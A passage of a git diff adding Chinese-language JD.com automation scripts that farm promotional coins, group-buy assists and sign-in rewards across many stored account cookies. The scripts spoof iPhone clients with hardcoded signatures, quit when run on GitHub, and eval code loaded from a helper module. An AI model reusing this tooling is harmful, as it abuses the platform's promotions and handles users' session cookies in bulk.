Mobile/15E148;supportJDSHWK/1"), + 'accept-language': 'zh-Hans-CN;q=1', + 'Cookie': cookie + }, + body: "body=%7B%7D&build=167694&client=apple&clientVersion=10.0.2&openudid=fc13275e23b2613e6aae772533ca6f349d2e0a86&sign=399128e7314f716adbf1ca9d9c205a10&st=1623850849392&sv=110" + }, (err, resp, data) => { + try { + if (!err) { + data = JSON.parse(data) + resolve(data.data) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve() + } + }) + }) +} + +function get_produce_coins() { + return new Promise(resolve => { + $.post({ + url: 'https://xinruidddj-isv.isvjcloud.com/api/club/get_produce_coins', + headers: { + 'Host': 'xinruidddj-isv.isvjcloud.com', + 'Accept': 'application/json, text/plain, */*', + 'Authorization': `Bearer ${$.token}`, + 'Accept-Language': 'zh-cn', + 'Origin': 'https://xinruidddj-isv.isvjcloud.com', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;10.0.2;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Referer': 'https://xinruidddj-isv.isvjcloud.com/', + }, + }, (err, resp, data) => { + try { + if (!err) { + data = JSON.parse(data) + console.log("收币:", data) + if (data.status === '0') { + let coins = parseInt(data.body.coins) + console.log(`收币成功:获得 ${coins}`) + } else { + console.log('收币失败!') + resolve(500) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(200) + } + }) + }) +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + Host: "me-api.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + $.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} + +function requireConfig() { + return new Promise(resolve => { + console.log('开始获取配置文件\n') + notify = $.isNode() ? require('./sendNotify') : ''; + const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + if (jdCookieNode[item]) { + cookiesArr.push(jdCookieNode[item]) + } + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; + } else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); + } + console.log(`共${cookiesArr.length}个京东账号\n`) + resolve() + }) +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '不要在BoxJS手动复制粘贴修改cookie') + return []; + } + } +} + +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_UpdateUIDtoRemark.js b/jd_UpdateUIDtoRemark.js new file mode 100644 index 0000000..0cffd9d --- /dev/null +++ b/jd_UpdateUIDtoRemark.js @@ -0,0 +1,521 @@ +/* +cron "30 10 * * *" jd_UpdateUIDtoRemark.js, tag:Uid迁移工具 + */ + +const $ = new Env('WxPusherUid迁移工具'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const got = require('got'); +const { + getEnvs, + getEnvById, + DisableCk, + EnableCk, + updateEnv, + updateEnv11, + getstatus +} = require('./ql'); + +let strUidFile = '/ql/scripts/CK_WxPusherUid.json'; +const fs = require('fs'); +let UidFileexists = fs.existsSync(strUidFile); +let TempCKUid = []; +if (UidFileexists) { + console.log("检测到WxPusherUid文件,载入..."); + TempCKUid = fs.readFileSync(strUidFile, 'utf-8'); + if (TempCKUid) { + TempCKUid = TempCKUid.toString(); + TempCKUid = JSON.parse(TempCKUid); + } +} + + +!(async() => { + const envs = await getEnvs(); + if (!envs[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + return; + } + var struid = ""; + var strRemark = ""; + for (let i = 0; i < envs.length; i++) { + if (envs[i].value) { + var tempid = 0; + if(envs[i]._id) + tempid = envs[i]._id; + if(envs[i].id) + tempid = envs[i].id; + + cookie = await getEnvById(tempid); + + if(!cookie) + continue; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.index = i + 1; + console.log(`\n**********检测【京东账号${$.index}】${$.UserName}**********\n`); + strRemark = envs[i].remarks; + struid = getuuid(strRemark, $.UserName); + if (struid) { + //这是为了处理ninjia的remark格式 + strRemark = strRemark.replace("remark=", ""); + strRemark = strRemark.replace(";", ""); + + var Tempindex = strRemark.indexOf("@@"); + if (Tempindex != -1) { + strRemark = strRemark + "@@" + struid; + } else { + var DateTimestamp = new Date(envs[i].timestamp); + strRemark = strRemark + "@@" + DateTimestamp.getTime() + "@@" + struid; + } + + if (envs[i]._id) { + var updateEnvBody = await updateEnv(cookie, envs[i]._id, strRemark); + + if (updateEnvBody.code == 200) + console.log("更新Remark成功!"); + else + console.log("更新Remark失败!"); + } + if (envs[i].id) { + var updateEnvBody = await updateEnv11(cookie, envs[i].id, strRemark); + + if (updateEnvBody.code == 200) + console.log("新版青龙更新Remark成功!"); + else + console.log("新版青龙更新Remark失败!"); + } + + } + } + } + +})() +.catch((e) => $.logErr(e)) +.finally(() => $.done()) + +function getuuid(strRemark, PtPin) { + var strTempuuid = ""; + var strUid = ""; + if (strRemark) { + var Tempindex = strRemark.indexOf("@@"); + if (Tempindex != -1) { + var TempRemarkList = strRemark.split("@@"); + for (let j = 1; j < TempRemarkList.length; j++) { + if (TempRemarkList[j]) { + if (TempRemarkList[j].length > 4) { + if (TempRemarkList[j].substring(0, 4) == "UID_") { + strTempuuid = TempRemarkList[j]; + break; + } + } + } + } + } + } + if (!strTempuuid && TempCKUid) { + console.log(`查询uid`); + for (let j = 0; j < TempCKUid.length; j++) { + if (PtPin == decodeURIComponent(TempCKUid[j].pt_pin)) { + strUid = TempCKUid[j].Uid; + break; + } + } + } + console.log(`uid:`+strUid); + return strUid; +} + +// prettier-ignore +function Env(t, e) { + "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); + class s { + constructor(t) { + this.env = t + } + send(t, e = "GET") { + t = "string" == typeof t ? { + url: t + } + : t; + let s = this.get; + return "POST" === e && (s = this.post), + new Promise((e, i) => { + s.call(this, t, (t, s, r) => { + t ? i(t) : e(s) + }) + }) + } + get(t) { + return this.send.call(this.env, t) + } + post(t) { + return this.send.call(this.env, t, "POST") + } + } + return new class { + constructor(t, e) { + this.name = t, + this.http = new s(this), + this.data = null, + this.dataFile = "box.dat", + this.logs = [], + this.isMute = !1, + this.isNeedRewrite = !1, + this.logSeparator = "\n", + this.startTime = (new Date).getTime(), + Object.assign(this, e), + this.log("", `🔔${this.name}, 开始!`) + } + isNode() { + return "undefined" != typeof module && !!module.exports + } + isQuanX() { + return "undefined" != typeof $task + } + isSurge() { + return "undefined" != typeof $httpClient && "undefined" == typeof $loon + } + isLoon() { + return "undefined" != typeof $loon + } + toObj(t, e = null) { + try { + return JSON.parse(t) + } catch { + return e + } + } + toStr(t, e = null) { + try { + return JSON.stringify(t) + } catch { + return e + } + } + getjson(t, e) { + let s = e; + const i = this.getdata(t); + if (i) + try { + s = JSON.parse(this.getdata(t)) + } catch {} + return s + } + setjson(t, e) { + try { + return this.setdata(JSON.stringify(t), e) + } catch { + return !1 + } + } + getScript(t) { + return new Promise(e => { + this.get({ + url: t + }, (t, s, i) => e(i)) + }) + } + runScript(t, e) { + return new Promise(s => { + let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); + i = i ? i.replace(/\n/g, "").trim() : i; + let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); + r = r ? 1 * r : 20, + r = e && e.timeout ? e.timeout : r; + const[o, h] = i.split("@"), + n = { + url: `http://${h}/v1/scripting/evaluate`, + body: { + script_text: t, + mock_type: "cron", + timeout: r + }, + headers: { + "X-Key": o, + Accept: "*/*" + } + }; + this.post(n, (t, e, i) => s(i)) + }).catch(t => this.logErr(t)) + } + loaddata() { + if (!this.isNode()) + return {}; { + this.fs = this.fs ? this.fs : require("fs"), + this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e); + if (!s && !i) + return {}; { + const i = s ? t : e; + try { + return JSON.parse(this.fs.readFileSync(i)) + } catch (t) { + return {} + } + } + } + } + writedata() { + if (this.isNode()) { + this.fs = this.fs ? this.fs : require("fs"), + this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e), + r = JSON.stringify(this.data); + s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) + } + } + lodash_get(t, e, s) { + const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); + let r = t; + for (const t of i) + if (r = Object(r)[t], void 0 === r) + return s; + return r + } + lodash_set(t, e, s) { + return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) + } + getdata(t) { + let e = this.getval(t); + if (/^@/.test(t)) { + const[, s, i] = /^@(.*?)\.(.*?)$/.exec(t), + r = s ? this.getval(s) : ""; + if (r) + try { + const t = JSON.parse(r); + e = t ? this.lodash_get(t, i, "") : e + } catch (t) { + e = "" + } + } + return e + } + setdata(t, e) { + let s = !1; + if (/^@/.test(e)) { + const[, i, r] = /^@(.*?)\.(.*?)$/.exec(e), + o = this.getval(i), + h = i ? "null" === o ? null : o || "{}" : "{}"; + try { + const e = JSON.parse(h); + this.lodash_set(e, r, t), + s = this.setval(JSON.stringify(e), i) + } catch (e) { + const o = {}; + this.lodash_set(o, r, t), + s = this.setval(JSON.stringify(o), i) + } + } else + s = this.setval(t, e); + return s + } + getval(t) { + return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null + } + setval(t, e) { + return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null + } + initGotEnv(t) { + this.got = this.got ? this.got : require("got"), + this.cktough = this.cktough ? this.cktough : require("tough-cookie"), + this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, + t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) + } + get(t, e = (() => {})) { + t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), + this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { + "X-Surge-Skip-Scripting": !1 + })), $httpClient.get(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), + e(t, s, i) + })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { + hints: !1 + })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { + try { + if (t.headers["set-cookie"]) { + const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); + s && this.ckjar.setCookieSync(s, null), + e.cookieJar = this.ckjar + } + } catch (t) { + this.logErr(t) + } + }).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => { + const { + message: s, + response: i + } = t; + e(s, i, i && i.body) + })) + } + post(t, e = (() => {})) { + if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) + this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { + "X-Surge-Skip-Scripting": !1 + })), $httpClient.post(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), + e(t, s, i) + }); + else if (this.isQuanX()) + t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { + hints: !1 + })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => e(t)); + else if (this.isNode()) { + this.initGotEnv(t); + const { + url: s, + ...i + } = t; + this.got.post(s, i).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => { + const { + message: s, + response: i + } = t; + e(s, i, i && i.body) + }) + } + } + time(t, e = null) { + const s = e ? new Date(e) : new Date; + let i = { + "M+": s.getMonth() + 1, + "d+": s.getDate(), + "H+": s.getHours(), + "m+": s.getMinutes(), + "s+": s.getSeconds(), + "q+": Math.floor((s.getMonth() + 3) / 3), + S: s.getMilliseconds() + }; + /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); + for (let e in i) + new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); + return t + } + msg(e = t, s = "", i = "", r) { + const o = t => { + if (!t) + return t; + if ("string" == typeof t) + return this.isLoon() ? t : this.isQuanX() ? { + "open-url": t + } + : this.isSurge() ? { + url: t + } + : void 0; + if ("object" == typeof t) { + if (this.isLoon()) { + let e = t.openUrl || t.url || t["open-url"], + s = t.mediaUrl || t["media-url"]; + return { + openUrl: e, + mediaUrl: s + } + } + if (this.isQuanX()) { + let e = t["open-url"] || t.url || t.openUrl, + s = t["media-url"] || t.mediaUrl; + return { + "open-url": e, + "media-url": s + } + } + if (this.isSurge()) { + let e = t.url || t.openUrl || t["open-url"]; + return { + url: e + } + } + } + }; + if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { + let t = ["", "==============📣系统通知📣=============="]; + t.push(e), + s && t.push(s), + i && t.push(i), + console.log(t.join("\n")), + this.logs = this.logs.concat(t) + } + } + log(...t) { + t.length > 0 && (this.logs = [...this.logs, ...t]), + console.log(t.join(this.logSeparator)) + } + logErr(t, e) { + const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); + s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) + } + wait(t) { + return new Promise(e => setTimeout(e, t)) + } + done(t = {}) { + const e = (new Date).getTime(), + s = (e - this.startTime) / 1e3; + this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), + this.log(), + (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) + } + } + (t, e) +} diff --git a/jd_aid_factory.js b/jd_aid_factory.js new file mode 100644 index 0000000..10d874d --- /dev/null +++ b/jd_aid_factory.js @@ -0,0 +1,72 @@ +let common = require("./function/common"); +let $ = new common.env('京喜工厂助力'); +let min = 3, + help = $.config[$.filename(__filename)] || Math.min(min, $.config.JdMain) || min; +$.setOptions({ + headers: { + 'content-type': 'application/json', + 'user-agent': 'jdpingou;iPhone;4.8.2;13.7;a3b4e844090b28d5c38e7529af8115172079be4d;network/wifi;model/iPhone8,1;appBuild/100546;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/0;hasOCPay/0;supportBestPay/0;session/374;pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 13_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148', + 'referer': 'https://st.jingxi.com/pingou/dream_factory/divide.html?activeId=laD7IwPwDF1-Te-MvbW9Iw==&_close=1&jxsid=16232028831911667857', + } +}); +$.readme = ` +44 */6 * * * task ${$.runfile} +export ${$.runfile}=2 #如需增加被助力账号,在这边修改人数 +` +eval(common.eval.mainEval($)); +async function prepare() { + let deramUrl = 'https://st.jingxi.com/pingou/dream_factory/index.html?ptag=7155.9.46' + let html = await $.curl(deramUrl) + try { + ary = $.matchall(/activeId=([^\&\,]+)","bgImg".+?"start":"([^\"]+)"/g, html) + dicts = {} + for (let i of ary) { + dicts[new Date(i[1]).getTime()] = i[0] + } + max = Math.max(...Object.keys(dicts).filter(d => parseInt(d) < $.timestamp)) + $.activeId = dicts[max] + } catch (e) { + $.activeId = 'yNtpovqFehHByNrt_lmb3g==' + } + console.log("开团ID:", $.activeId) + let url = `https://m.jingxi.com/dreamfactory/tuan/QueryActiveConfig?activeId=${$.activeId}&tuanId=&_time=1623214804148&_stk=_time%2CactiveId%2CtuanId&_ste=1&sceneval=2&g_login_type=1&callback=jsonpCBKA&g_ty=ls` + let dec = await jxAlgo.dec(url) + for (let j of cookies['help']) { + $.setCookie(j); + await $.curl(dec.url) + try { + if ($.source.data.userTuanInfo.tuanId) { + $.sharecode.push($.compact($.source.data.userTuanInfo, ['activeId', 'tuanId'])) + } else {} + } catch (e) {} + } +} +async function main(id) { + common.assert(id.activeId, '没有开团ID') + let url = `https://m.jingxi.com/dreamfactory/tuan/JoinTuan?activeId=${id.activeId}&tuanId=${id.tuanId}&_time=1623214617107&_stk=_time%2CactiveId%2CtuanId&_ste=1&sceneval=2&g_login_type=1&g_ty=ls` + let dec = await jxAlgo.dec(url) + let params = { + 'url': dec.url, + 'cookie': id.cookie + } + await $.curl(params) + console.log($.source) +} +async function extra() { + for (let j of cookies['help']) { + $.setCookie(j); + let url = `https://m.jingxi.com/dreamfactory/tuan/QueryActiveConfig?activeId=${$.activeId}&tuanId=&_time=1623214804148&_stk=_time%2CactiveId%2CtuanId&_ste=1&sceneval=2&g_login_type=1&callback=jsonpCBKA&g_ty=ls` + let dec = await jxAlgo.dec(url) + await $.curl(dec.url) + url = `https://m.jingxi.com/dreamfactory/tuan/Award?activeId=${$.source.data.userTuanInfo.activeId}&tuanId=${$.source.data.userTuanInfo.tuanId}&_time=1623518911051&_stk=_time%2CactiveId%2CtuanId&_ste=1&_=1623518911082&sceneval=2&g_login_type=1&callback=jsonpCBKF&g_ty=ls` + dec = await jxAlgo.dec(url) + await $.curl(dec.url) + console.log($.source) + if ($.source.msg != '您还没有成团') { + url = `https://m.jingxi.com/dreamfactory/tuan/CreateTuan?activeId=${$.activeId}&isOpenApp=1&_time=1624120758151&_stk=_time%2CactiveId%2CisOpenApp&_ste=1` + dec = await jxAlgo.dec(url) + await $.curl(dec.url) + console.log($.source) + } + } +} diff --git a/jd_babel_sign.js b/jd_babel_sign.js new file mode 100644 index 0000000..b137ea8 --- /dev/null +++ b/jd_babel_sign.js @@ -0,0 +1,139 @@ +/** +cron 0 0,3 * * * jd_babel_sign.js +入口:主页-秒杀-狂撒三亿京豆 +TG频道:https://t.me/sheeplost +*/ +const $ = new Env('通天塔签到共建'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }); + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + let cookiesData = $.getdata('CookiesJD') || "[]"; + cookiesData = jsonParse(cookiesData); + cookiesArr = cookiesData.map(item => item.cookie); + 